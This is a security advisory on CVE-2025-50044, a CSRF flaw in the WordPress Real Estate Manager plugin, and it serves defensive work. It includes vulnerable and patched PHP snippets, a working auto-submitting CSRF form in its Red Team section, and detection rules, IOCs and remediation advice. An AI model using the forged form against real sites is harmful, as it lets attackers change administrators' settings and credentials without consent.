CVE-2025-50044

Executive Summary

CVE-2025-50044 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Real Estate Manager by Rameez Iqbal, affecting versions up to and including 7.3. This vulnerability allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized changes to the plugin’s settings, property listings, or user data. The CVSS score of 6.5 (Medium) reflects the need for user interaction but the potential for high impact on confidentiality and integrity. As of this report, no official patch is available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – Potential exposure of sensitive plugin data.
• Integrity Impact: High (I:H) – Unauthorized modification of plugin settings or data.
• Availability Impact: None (A:N)

Threat Level: Medium. While exploitation requires user interaction, the lack of a patch and the plugin’s popularity in the real estate niche make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonce validation in critical administrative actions within the Real Estate Manager plugin. WordPress plugins typically use nonces (number used once) to verify that requests originate from the legitimate admin interface. In this plugin, functions handling settings updates, property deletions, or user role modifications lack this check.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., changing the plugin’s API key or deleting all properties).
2. The attacker lures an authenticated administrator to visit the page.
3. The victim’s browser automatically sends the forged request with their session cookies.
4. The plugin processes the request without verifying the nonce, executing the attacker’s action.

Impact: An attacker could:

• Modify plugin settings (e.g., change payment gateway credentials).
• Delete or alter property listings.
• Escalate privileges if the plugin manages user roles.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable pattern. A typical vulnerable code snippet in WordPress plugins looks like:

// Vulnerable: No nonce check
function save_settings() {
    update_option('real_estate_manager_api_key', $_POST['api_key']);
}
add_action('admin_post_save_rem_settings', 'save_settings');

A patched version would include:

// Patched: Nonce verification
function save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'rem_settings_nonce')) {
        wp_die('Security check failed.');
    }
    update_option('real_estate_manager_api_key', sanitize_text_field($_POST['api_key']));
}
add_action('admin_post_save_rem_settings', 'save_settings');

The fix involves adding wp_verify_nonce() and using sanitize_text_field() for input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Real Estate Manager <= 7.3 installed.
• An authenticated admin session (victim).

Exploit Steps:

1. Identify a vulnerable endpoint (e.g., wp-admin/admin-post.php?action=save_rem_settings).
2. Craft a CSRF payload HTML file:

<html>
<body>
<form action="http://target.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="save_rem_settings">
    <input type="hidden" name="api_key" value="attacker_controlled_key">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Host the file and send the link to the victim via email or social engineering.
4. Once the victim clicks, the request is sent with their cookies, and the API key is changed.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to admin-post.php with missing or invalid nonce parameters.
• Look for rapid changes to plugin settings or bulk property deletions.
• Use web application firewalls (WAF) to block requests lacking expected CSRF tokens.

Honeypot:

• Deploy a decoy admin account and monitor for CSRF-like activity.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=save_rem_settings or similar.
  • Referer header missing or spoofed.
• Host:
  • Unexpected changes in wp_options table (e.g., real_estate_manager_api_key).
  • Log entries showing admin actions without corresponding nonce validation.
• File:
  • Presence of suspicious HTML files in web root (potential CSRF payloads).

Detection Engineering

YARA Rule

rule Detect_CSRF_RealEstateManager {
    meta:
        description = "Detects potential CSRF exploitation attempts against Real Estate Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-50044"
    strings:
        $action = "admin-post.php" nocase
        $plugin_action = "save_rem_settings" nocase
        $nonce_missing = "_wpnonce" nocase
    condition:
        $action and $plugin_action and not $nonce_missing
}

Sigma Rule

title: CSRF Attempt Against Real Estate Manager Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to admin-post.php with Real Estate Manager actions lacking nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains: 'action=save_rem_settings'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is present but not logged
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50044 CSRF Attempt Real Estate Manager"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.client_body; content:"action=save_rem_settings"; nocase; pcre:"/^(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
3. Educate administrators about phishing risks and the importance of not clicking suspicious links while logged into WordPress.

Long-term Fix:

• The vendor must add CSRF nonce validation to all admin actions. Example fix:

add_action('admin_post_save_rem_settings', function() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'rem_settings_nonce')) {
        wp_die('CSRF detected.');
    }
    // Process settings
});

Workaround:

• Use a security plugin like Wordfence to add CSRF protection to all admin pages.

Valters IT
Securing Digital Frontiers